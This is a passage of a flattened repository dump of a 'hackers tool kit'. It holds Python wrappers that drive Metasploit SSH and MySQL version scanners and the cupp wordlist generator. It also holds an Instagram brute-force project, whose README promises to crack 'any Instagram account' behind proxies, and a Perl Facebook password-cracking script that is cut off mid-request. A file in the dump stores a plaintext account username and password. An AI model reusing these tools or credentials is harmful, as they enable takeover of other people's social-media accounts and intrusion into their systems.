os.system("tcpdump -i " + s) 44 | traff() 45 | -------------------------------------------------------------------------------- /htk-lite/commandlist/verscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def verscan(): 41 | print """ 42 | Services available: 43 | 44 | {0}ssh 45 | 46 | {1}mysql 47 | \033[0m 48 | """.format(random.choice(colorlist), random.choice(colorlist)) 49 | try: 50 | service = raw_input("\033[1mService: \033[0m") 51 | if service == "ssh": 52 | f = raw_input(G+"\033[1mTarget: \033[0m") 53 | g = raw_input(G+"\033[1mPort: \033[0m") 54 | t = raw_input(G+"\033[1mThreads: \033[0m") 55 | b = raw_input(G+"\033[1mTimeout: \033[0m") 56 | os.system('echo "use auxiliary/scanner/ssh/ssh_version\n" >> sshver.rc') 57 | os.system('echo "set RHOSTS {0}\n" >> sshver.rc'.format(f)) 58 | os.system('echo "set RPORT {0}\n" >> sshver.rc'.format(g)) 59 | os.system('echo "set THREADS {0}\n" >> sshver.rc'.format(t)) 60 | os.system('echo "set TIMEOUT {0}\n" >> sshver.rc'.format(b)) 61 | os.system('echo "show options\n" >> sshver.rc') 62 | os.system('echo "run\n" >> sshver.rc') 63 | os.system('echo "exit\n" >> sshver.rc') 64 | os.system("service postgresql restart") 65 | os.system('msfconsole -q -r sshver.rc') 66 | os.system('rm -rf sshver.rc') 67 | 68 | if service == "mysql": 69 | f = raw_input(G+"\033[1mTarget: \033[0m") 70 | g = raw_input(G+"\033[1mPort: \033[0m") 71 | t = raw_input(G+"\033[1mThreads: \033[0m") 72 | os.system('echo "use auxiliary/scanner/mysql/mysql_version\n" >> mysqlv.rc') 73 | os.system('echo "set RHOSTS {0}\n" >> mysqlv.rc'.format(f)) 74 | os.system('echo "set RPORT {0}\n" >> mysqlv.rc'.format(g)) 75 | os.system('echo "set THREADS {0}\n" >> mysqlv.rc'.format(t)) 76 | os.system('echo "show options\n" >> mysqlv.rc') 77 | os.system('echo "run\n" >> mysqlv.rc') 78 | os.system('echo "exit\n" >> mysqlv.rc') 79 | os.system("service postgresql restart") 80 | os.system('msfconsole -q -r mysqlv.rc') 81 | os.system('rm -rf mysqlv.rc') 82 | except: 83 | print "\n" 84 | verscan() 85 | -------------------------------------------------------------------------------- /htk-lite/commandlist/wordlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | # coding: latin-1 3 | #if you use this code give me credit @tuf_unkn0wn 4 | #i do not give you permission to show / edit this script without my credit 5 | #to ask questions or report a problem message me on instagram @tuf_unkn0wn 6 | """ 7 | 8 | 9 | ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ▓█████▄ 10 | ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▒██▀ ██▌ 11 | ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ░██ █▌ 12 | ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ░▓█▄ ▌ 13 | ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░▒████▓ 14 | ▒ ▒░▒ ▒▒ ▓▒█ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒░ ░ ▒▒▓ ▒ 15 | ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒ ▒ 16 | ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ 17 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 18 | ░ ░ 19 | 20 | 21 | """ 22 | import os 23 | import sys 24 | import random 25 | lred = '\033[91m' 26 | lblue = '\033[94m' 27 | lgreen = '\033[92m' 28 | yellow = '\033[93m' 29 | cyan = '\033[1;36m' 30 | purple = '\033[95m' 31 | red = '\033[31m' 32 | green = '\033[32m' 33 | blue = '\033[34m' 34 | orange = '\033[33m' 35 | 36 | colorlist = [red, blue, green, yellow, lblue, purple, cyan, lred, lgreen, orange] 37 | randomcolor = random.choice(colorlist) 38 | banner3list = [red, blue, green, purple] 39 | 40 | def wordlist(): 41 | os.system("cd wordlists && cupp -i") 42 | print Y+"wordlist saved to /root/htk-lite/wordlists \033[0m" 43 | 44 | wordlist() 45 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Mohamed 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/README.md: -------------------------------------------------------------------------------- 1 | # Instagram Bruter 2 | 3 | [![Version](https://img.shields.io/badge/version-v2.1.1-blue.svg)]() 4 | [![Python](https://img.shields.io/badge/python-v3-blue.svg)]() 5 | [![Discord](https://img.shields.io/discord/532621311017484307.svg)](https://discord.gg/jvhJMeb) 6 | [![Donate](https://img.shields.io/badge/paypal-donate-yellow.svg)](https://www.paypal.me/Msheikh03) 7 |
8 | **Bitcoin wallet:** 3Kr5C9t9HWwPfqzSNXeBNyRvJWw9sSLeKy 9 |
10 | 11 | This program will brute force any Instagram account you send it its way. Just give it a target, a password list and a mode then press enter and forget about it. No need to worry about anonymity when using this program, its highest priority is your anonymity, it only attacks when your identity is hidden. 12 | 13 | # NOTICE 14 | 15 | This project is no longer maintained; use version 3.0.0 at [here](https://github.com/Pure-L0G1C/Insta) 16 | 17 | ### Requirements 18 | 19 | - Python _v3.x.x_ 20 | - ~~Kali Linux 2.0~~ 21 | - ~~TOR~~ 22 | 23 | ### Install Dependencies 24 | 25 | ``` 26 | pip3 install -r requirements.txt 27 | ``` 28 | 29 | ### Help 30 | 31 | ``` 32 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py -h 33 | usage: instagram.py [-h] [-m MODE] username wordlist 34 | 35 | positional arguments: 36 | username email or username 37 | wordlist password list 38 | 39 | optional arguments: 40 | -h, --help show this help message and exit 41 | -m MODE, --mode MODE modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots 42 | ``` 43 | 44 | ### Usage 45 | 46 | ``` 47 | python3 instagram.py -m 48 | ``` 49 | 50 | ### Bots(Threads) 51 | 52 | - 4 bots: 64 passwords at a time 53 | - 8 bots: 128 passwords at a time 54 | - 16 bots: 256 passwords at a time 55 | - 32 bots: 512 passwords at a time 56 | 57 | ### Modes 58 | 59 | - 0: 32 bots 60 | - 1: 16 bots 61 | - 2: 8 bots 62 | - 3: 4 bots 63 | 64 | ### Chill mode 65 | 66 | This mode uses only 4 bots, or 64 passwords at a time. 67 | 68 | ``` 69 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 3 70 | ``` 71 | 72 | ### Moderate mode 1 73 | 74 | This mode uses 8 bots, or 128 passwords at a time. 75 | 76 | ``` 77 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 2 78 | ``` 79 | 80 | ### Moderate mode 2 81 | 82 | This mode uses 16 bots, or 256 passwords at a time. 83 | 84 | ``` 85 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 1 86 | ``` 87 | 88 | ### Savage mode 89 | 90 | This mode uses 32 bots, or 512 passwords at a time. 91 | 92 | ``` 93 | C:\Users\Mohamed\Desktop\Instagram>python3 instagram.py Sami09.1 pass.lst -m 0 94 | ``` 95 | 96 | ### If you don't specify a mode, then mode is set to 2 97 | 98 | ### Run 99 | 100 | ``` 101 | [-] Wordlist: pass.lst 102 | [-] Username: Sami09.1 103 | [-] Password: 272 104 | [-] Complete: 45.51% 105 | [-] Attempts: 228 106 | [-] Browsers: 273 107 | [-] Exists: True 108 | ``` 109 | 110 | ### Stop 111 | 112 | ``` 113 | [-] Wordlist: pass.lst 114 | [-] Username: Sami09.1 115 | [-] Password: Sami123 116 | [-] Complete: 62.67% 117 | [-] Attempts: 314 118 | [-] Browsers: 185 119 | [-] Exists: True 120 | 121 | [!] Password Found 122 | [+] Username: Sami09.1 123 | [+] Password: Sami123 124 | ``` 125 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/accounts.txt: -------------------------------------------------------------------------------- 1 | Username: Tuf_Unkn0Wn 2 | Password: 1NST4gr4mUN_KN0WNbaliP4SS 3 | 4 | Username: Tuf_Unkn0Wn 5 | Password: 1NST4gr4mUN_KN0WNbaliP4SS 6 | 7 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/database/session.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/database/session.db -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__init__.py: -------------------------------------------------------------------------------- 1 | # Date: 12/30/2018 2 | # Author: Mohamed 3 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/bad_proxies.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/bad_proxies.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/browser.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/browser.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/bruter.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/bruter.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/const.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/const.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/display.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/display.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/password_manager.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/password_manager.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/proxy.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/proxy.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/proxy_list.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/proxy_list.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/proxy_manager.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/proxy_manager.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/scraper.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/scraper.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/__pycache__/session.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/htk-lite/files/Instagram/lib/__pycache__/session.cpython-37.pyc -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/bad_proxies.py: -------------------------------------------------------------------------------- 1 | # Date: 12/29/2018 2 | # Author: Mohamed 3 | # Description: Manages bad proxies 4 | 5 | from .const import max_bad_proxies 6 | 7 | 8 | class BadProxies(object): 9 | 10 | def __init__(self): 11 | self.proxies = [] 12 | 13 | def __contains__(self, proxy): 14 | for _proxy in self.proxies: 15 | if _proxy.ip == proxy.ip and _proxy.port == proxy.port: 16 | return True 17 | return False 18 | 19 | def append(self, proxy): 20 | if len(self.proxies) >= max_bad_proxies: 21 | self.proxies.pop(0) 22 | 23 | self.proxies.append(proxy) 24 | 25 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/password_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Password manager 4 | 5 | from time import sleep 6 | from hashlib import sha256 7 | from sys import version_info 8 | from lib.display import Display 9 | from lib.session import Session 10 | 11 | 12 | class PasswordManager(object): 13 | 14 | def __init__(self, username, passlist_path, max_passwords, display): 15 | self.passlist = [] 16 | self.session = None 17 | self.resume = False 18 | self.is_alive = True 19 | self.is_read = False 20 | self.display = display 21 | self.fingerprint = None 22 | self.username = username 23 | self.passwords_removed = 0 24 | self.passlist_path = passlist_path 25 | self.max_passwords = max_passwords 26 | Display.total_lines = self.count_lines() 27 | 28 | @property 29 | def list_size(self): 30 | return len(self.passlist) 31 | 32 | def list_add(self, password): 33 | if not password in self.passlist: 34 | self.passlist.append(password) 35 | 36 | def list_remove(self, password): 37 | if password in self.passlist: 38 | self.attempts += 1 39 | self.passlist.pop(self.passlist.index(password)) 40 | self.session.write(self.attempts, self.passlist) 41 | 42 | def count_lines(self): 43 | lines = 0 44 | 45 | fingerprint = sha256( 46 | self.username.lower().strip().encode() 47 | ).hexdigest().encode() 48 | 49 | self.display.info('Reading wordlist ...') 50 | 51 | with open(self.passlist_path, 'rb') as f: 52 | 53 | for data in f: 54 | lines += 1 55 | chunk = sha256(data).hexdigest().encode() 56 | fingerprint = sha256(fingerprint + chunk).hexdigest().encode() 57 | 58 | self.fingerprint = fingerprint 59 | self.session = Session(self.fingerprint) 60 | 61 | return lines + 1 62 | 63 | def read(self): 64 | attempts = 0 65 | with open(self.passlist_path, 'rt', encoding='utf-8') as passlist: 66 | 67 | for password in passlist: 68 | if not self.is_alive: 69 | break 70 | 71 | if self.resume: 72 | self.attempts, self.passlist = self.session.read() 73 | 74 | if attempts < (self.attempts + self.list_size): 75 | attempts += 1 76 | continue 77 | else: 78 | self.resume = False 79 | 80 | password = password.replace('\n', '').replace( 81 | '\r', '').replace('\t', '') 82 | 83 | if self.list_size < self.max_passwords: 84 | self.list_add(password) 85 | else: 86 | while self.list_size >= self.max_passwords and self.is_alive: 87 | sleep(0.5) 88 | 89 | if self.is_alive: 90 | self.list_add(password) 91 | self.session.write(self.attempts, self.passlist) 92 | 93 | if self.is_alive: 94 | self.is_read = True 95 | 96 | @property 97 | def attempts(self): 98 | return self.passwords_removed 99 | 100 | @attempts.setter 101 | def attempts(self, n): 102 | self.passwords_removed = n 103 | 104 | def start(self): 105 | self.read() 106 | 107 | def stop(self): 108 | self.is_alive = False 109 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/proxy.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy 4 | 5 | 6 | class Proxy(object): 7 | 8 | def __init__(self, proxy): 9 | self.proxy = proxy 10 | 11 | @property 12 | def ip(self): 13 | return self.proxy['ip'] 14 | 15 | @property 16 | def port(self): 17 | return self.proxy['port'] 18 | 19 | @property 20 | def country(self): 21 | return self.proxy['country'] 22 | 23 | @property 24 | def addr(self): 25 | addr = '{}:{}'.format(self.proxy['ip'], self.proxy['port']) 26 | return {'http': addr, 'https': addr} 27 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/proxy_list.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: A list that will manage proxies 4 | 5 | 6 | class ProxyList(object): 7 | 8 | def __init__(self): 9 | self.list = [] 10 | 11 | def __contains__(self, proxy): 12 | for _proxy in self.list: 13 | if _proxy.ip == proxy['ip'] and _proxy.port == proxy['port']: 14 | return True 15 | return False 16 | 17 | def append(self, proxy): 18 | self.list.append(proxy) -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/proxy_manager.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Proxy manager 4 | 5 | from time import sleep 6 | from queue import Queue 7 | from .scraper import Scraper 8 | from .bad_proxies import BadProxies 9 | 10 | 11 | class ProxyManager(object): 12 | 13 | def __init__(self): 14 | self.is_alive = True 15 | self.proxies = Queue() 16 | self.scraper = Scraper() 17 | self.bad_proxies = BadProxies() 18 | 19 | def collect(self): 20 | while self.is_alive: 21 | if not self.proxies.qsize(): 22 | 23 | for proxy in self.scraper.proxies: 24 | if not proxy in self.bad_proxies: 25 | self.proxies.put(proxy) 26 | 27 | sleep(5) 28 | 29 | def bad_proxy(self, proxy): 30 | if not proxy in self.bad_proxies: 31 | self.bad_proxies.append(proxy) 32 | 33 | def get_proxy(self): 34 | if self.proxies.qsize(): 35 | return self.proxies.get() 36 | 37 | def start(self): 38 | self.collect() 39 | 40 | def stop(self): 41 | self.is_alive = False 42 | self.scraper.is_alive = False -------------------------------------------------------------------------------- /htk-lite/files/Instagram/lib/session.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Mohamed 3 | # Description: Session Handler 4 | 5 | import json 6 | import sqlite3 7 | from os import remove 8 | from sys import version_info 9 | from lib.const import db_path 10 | from os.path import exists as path 11 | from csv import DictWriter, DictReader 12 | 13 | 14 | class DatabaseWrapper: 15 | 16 | def __init__(self, db_name): 17 | self.db_name = db_name 18 | 19 | def db_query(self, cmd, args=[], fetchone=True): 20 | database = sqlite3.connect(self.db_name) 21 | sql = database.cursor().execute(cmd, args) 22 | data = sql.fetchone()[0] if fetchone else sql.fetchall() 23 | database.close() 24 | return data 25 | 26 | def db_execute(self, cmd, args=[]): 27 | database = sqlite3.connect(self.db_name) 28 | database.cursor().execute(cmd, args) 29 | database.commit() 30 | database.close() 31 | 32 | 33 | class Session(DatabaseWrapper): 34 | 35 | is_busy = False 36 | 37 | def __init__(self, fingerprint): 38 | super().__init__(db_path) 39 | self.fingerprint = fingerprint 40 | self.create_tables() 41 | 42 | def create_tables(self): 43 | self.db_execute(''' 44 | CREATE TABLE IF NOT EXISTS 45 | Session( 46 | session_id TEXT, 47 | attempts INTEGER, 48 | list TEXT, 49 | 50 | PRIMARY KEY(session_id) 51 | ); 52 | ''') 53 | 54 | @property 55 | def exists(self): 56 | return self.db_query('SELECT COUNT(*) FROM Session WHERE session_id=?;', [self.fingerprint]) 57 | 58 | def read(self): 59 | 60 | if not self.exists: 61 | return 0, [] 62 | 63 | attempts, list = self.db_query(''' 64 | SELECT attempts, list 65 | FROM Session 66 | WHERE session_id=? 67 | ''', args=[self.fingerprint], fetchone=False)[0] 68 | 69 | return attempts, json.loads(list) 70 | 71 | def _write(self, attempts, _list): 72 | 73 | if not self.exists: 74 | self.db_execute(''' 75 | INSERT INTO Session(session_id, attempts, list) 76 | VALUES(?, ?, ?); 77 | ''', args=[self.fingerprint, attempts, json.dumps(_list)]) 78 | return 79 | 80 | self.db_execute(''' 81 | UPDATE Session 82 | SET attempts=?, list=? 83 | WHERE session_id=?; 84 | ''', args=[attempts, json.dumps(_list), self.fingerprint]) 85 | 86 | def write(self, attempts, _list): 87 | if not attempts: 88 | return 89 | 90 | while Session.is_busy: 91 | pass 92 | 93 | try: 94 | Session.is_busy = True 95 | self._write(attempts, _list) 96 | except: 97 | pass 98 | finally: 99 | Session.is_busy = False 100 | 101 | def delete(self): 102 | if self.exists: 103 | self.db_execute(''' 104 | DELETE FROM Session 105 | WHERE session_id=?; 106 | ''', args=[self.fingerprint]) 107 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/requirements.txt: -------------------------------------------------------------------------------- 1 | bs4 2 | future 3 | requests 4 | colorama 5 | -------------------------------------------------------------------------------- /htk-lite/files/Instagram/test_proxies.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Date: 3/15/2019 3 | Author: Mohamed 4 | Description: Reads a file that contains a list of proxies and determines whether or not that list is good. 5 | Each line in the file must be in the format of ip:port 6 | ''' 7 | 8 | import platform 9 | from os import system 10 | from time import sleep 11 | from requests import Session 12 | from threading import Thread, RLock 13 | 14 | proxy_list = 'proxies.txt' 15 | target_site = 'https://instagram.com' 16 | 17 | 18 | def get_proxies(): 19 | proxies = [] 20 | 21 | with open(proxy_list, 'rt', encoding='utf-8') as proxies_file: 22 | 23 | for line in proxies_file: 24 | if not line: 25 | continue 26 | 27 | ip, port = line.replace('\r', '').split(':') 28 | 29 | port = int(port) 30 | proxy = {'ip': ip, 'port': port} 31 | proxies.append(proxy) 32 | 33 | return proxies 34 | 35 | 36 | class TestProxies: 37 | 38 | def __init__(self, proxies): 39 | self.worked = 0 40 | self.failed = 0 41 | self.lock = RLock() 42 | self.active_brs = 0 43 | self.is_alive = True 44 | self.proxies = proxies 45 | self.total = len(proxies) 46 | self.test_link = target_site 47 | 48 | def display(self): 49 | system('cls' if platform.system() == 'Windows' else 'clear') 50 | worked, failed, total = self.worked, self.failed, self.total 51 | 52 | worked_per = round((worked/total) * 100, 2) 53 | failed_per = round((failed/total) * 100, 2) 54 | complete = round(worked_per + failed_per, 2) 55 | 56 | print(f'Complete: {complete}%') 57 | print(f'Active browsers: {self.active_brs}') 58 | print(f'Proxies worked: {worked_per}% [{worked}]') 59 | print(f'Proxies failed: {failed_per}% [{failed}]') 60 | 61 | def test_proxy(self, proxy): 62 | br = Session() 63 | 64 | addr = '{}:{}'.format(proxy['ip'], proxy['port']) 65 | addr = {'http': addr, 'https': addr} 66 | br.proxies.update(addr) 67 | 68 | try: 69 | br.get(self.test_link, timeout=(10, 15)) 70 | 71 | with self.lock: 72 | self.worked += 1 73 | except: 74 | with self.lock: 75 | self.failed += 1 76 | finally: 77 | br.close() 78 | 79 | if self.is_alive: 80 | with self.lock: 81 | self.display() 82 | 83 | self.active_brs -= 1 84 | 85 | def start(self): 86 | for proxy in self.proxies: 87 | 88 | while self.is_alive and self.active_brs >= 512: 89 | pass 90 | 91 | if not self.is_alive: 92 | break 93 | 94 | with self.lock: 95 | self.active_brs += 1 96 | 97 | Thread(target=self.test_proxy, args=[proxy], daemon=True).start() 98 | 99 | while self.is_alive and self.active_brs: 100 | sleep(0.5) 101 | 102 | self.display() 103 | 104 | def stop(self): 105 | self.is_alive = False 106 | 107 | while self.active_brs: 108 | try: 109 | with self.lock: 110 | self.display() 111 | 112 | sleep(0.5) 113 | except KeyboardInterrupt: 114 | break 115 | 116 | def examine(self): 117 | failed = self.failed / self.total 118 | worked = self.worked / self.total 119 | 120 | if worked == 0: 121 | print('Bad proxy list') 122 | elif (failed - worked) >= 0.1: 123 | print('Bad proxy list') 124 | elif (failed - worked) == 0: 125 | print('Bad proxy list') 126 | else: 127 | print('Good proxy list') 128 | 129 | 130 | if __name__ == '__main__': 131 | test_proxies = TestProxies(get_proxies()) 132 | 133 | try: 134 | test_proxies.start() 135 | except KeyboardInterrupt: 136 | test_proxies.stop() 137 | finally: 138 | test_proxies.examine() 139 | -------------------------------------------------------------------------------- /htk-lite/files/fb-brute.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Bruteforce-Facebook 4 | # 5 | # Description: 6 | # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS. 7 | # 8 | # Usage: 9 | # perl Imad'Ox-Bruter.pl login wordlist 10 | # login could be either a user's email address or profile name 11 | # 12 | # Module Requirements: 13 | # 14 | # Install module if missing: 15 | # perl -MCPAN -e 'install Net::SSLeay' 16 | # 17 | # Demo: 18 | # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst 19 | # 20 | # --- Imad'Ox-Bruter Facebook password cracking tool 21 | # --- By Imad'Ox Hunter 22 | # --- www.facebook.com/imad.elouajib 23 | # 24 | # [+] Cracking Facebooklogin@facebook.com ... 25 | # 26 | # [-] test -> Failed 27 | # [-] test123 -> Failed 28 | # [-] testtest -> Failed 29 | # [-] testest123 -> Failed 30 | # [-] qwerty -> Failed 31 | # [-] azerty -> Failed 32 | # [-] password -> Failed 33 | # [-] password123 -> Failed 34 | # 35 | ######################################################## 36 | # [+] CRACKED! Your password is P@$$W0RD 37 | ######################################################## 38 | # 39 | 40 | use strict; 41 | use Net::SSLeay::Handle; 42 | 43 | if(!defined($ARGV[0] && $ARGV[1])) { 44 | 45 | system('clear'); 46 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 47 | print "+++ Coded by Imad'Ox-Hunter\n"; 48 | print "+++ www.fb.com/imad.elouajib\n\n"; 49 | print "+++ Usage: perl $0 login wordlist\n\n"; 50 | exit; } 51 | 52 | my $user = $ARGV[0]; 53 | my $wordlist = $ARGV[1]; 54 | 55 | open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n"; 56 | 57 | print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n"; 58 | print "+++ Coded by Imad'Ox-Hunter\n"; 59 | print "+++ www.fb.com/imad.elouajib\n"; 60 | print "\n[+] Now Cracking $user ...\n\n"; 61 | 62 | while (my $password = ) { 63 | chomp ($password); 64 | $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg; 65 | 66 | my $a = "POST /login.php HTTP/1.1"; 67 | my $b = "Host: www.facebook.com"; 68 | my $c = "Connection: close"; 69 | my $e = "Cache-Control: max-age=0"; 70 | my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; 71 | my $g = "Origin: https://www.facebook.com"; 72 | my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) 